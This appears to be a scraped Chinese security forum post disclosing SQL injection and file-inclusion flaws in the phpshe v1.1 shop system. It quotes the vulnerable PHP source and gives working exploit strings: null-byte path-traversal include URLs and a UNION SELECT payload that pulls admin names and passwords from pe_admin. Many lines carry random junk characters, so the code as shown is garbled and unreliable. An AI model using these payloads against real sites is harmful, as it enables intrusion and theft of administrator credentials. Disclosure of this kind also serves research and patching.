phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
+ N, E& s2 e9 X/ D$ {( U8 Q  ]+ A4 _3 Q/* By: : Kn1f3
. W2 H, t% n6 c$ `' l" c7 \/ H/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输

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9 ^4 a0 ~8 p+ w5 n8 a! F//common.php
if (get_magic_quotes_gpc()) {
- x2 ^1 o# A  l# }- F7 V% H9 U!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
6 v2 z& v7 @* r7 h4 K. r: I4 \7 e!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
# y# ?, Y1 ^! t, G9 b6 {: ]session_start();
( D: O+ b# w# b8 v' j& s' s!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
! q& R9 K4 n+ P( V!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

# \! ]% m) j" Q  J2 L9 c1 n* v0×01 包含漏洞
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% |0 y3 T' f. @, i+ ^2 d+ P3 T* H//首页文件
9 N' o4 c3 q5 ^9 w<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
% f  H) T+ R# [: O% G3 t" L, uinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
7 y) Z; r  F8 T( l' \pe_result();
?>
//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
( J/ Q7 f9 t) T$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
2 ^3 `9 f( Z9 B4 \5 S0 x3 S//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
. M9 C, V* \; n* }

$ ~4 D4 {+ e3 `/ P0 h 0×02 搜索注入
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<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
" b  ^2 T" v) D. j# y7 h1 a$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
2 _) V/ V9 V& o" g: A$ Kpe_lead('hook/category.hook.php');
1 J6 q0 |  E0 b" R2 n9 w$ }, zif ($category_id) {
; l/ w0 B5 T& f  nwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
- G8 s1 m; q* q4 W1 x}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
+ M/ {# u) q- W2 @) y6 l2 v$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
/ K. B: O! X' ^! \/ Q/ j$sqlwhere .= " order by `product_id` desc";
}
8 F1 C& E2 m. G" M; ~+ x$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
//当前路径
, r' o* n) ]. r$nowpath = category_path($category_id);
7 |7 M9 k' [( r2 c6 I8 a$seo = pe_seo($info['category_name']);
) I! k3 @7 {' V, Z  J9 Pinclude(pe_tpl('product_list.html'));
//跟进selectall函数库
& Z- p1 S/ d  H6 {public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
( {! }8 v) a4 O' h; p7 r. b1 R* o  c//处理条件语句
$sqlwhere = $this->_dowhere($where);
9 s# ?; F& B4 Preturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
! \( c7 n% T: o1 J' `) \//exp
, \& T; e8 w" Y; ~& Y. w9 eproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
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</code>
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0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

- P, i, _4 S: X& [$cache_payway = cache::get('payway');

6 i+ m1 L6 E3 j1 qforeach($cache_payway as $k => $v) {

# d0 H4 \  [$ Z. I9 z! ~$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

3 a( N- |" A3 ^) o9 iif (isset($_p_pesubmit)) {

  k5 T; E" L# r+ p" @2 V! ^" {) Iif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

* s# @& A6 e+ o9 T( `1 p$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

}

  l% I7 K! k7 a  kecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

* Q! a9 z, w  N' z0 l, F2 t3 Wpe_error('支付错误...');

' l# y+ z) w+ m5 A; {. R: K; {/ t0 B7 |}

/ e0 y0 L' }4 j, k}

$seo = pe_seo('选择支付方式');

( K5 b/ E) d5 a5 Einclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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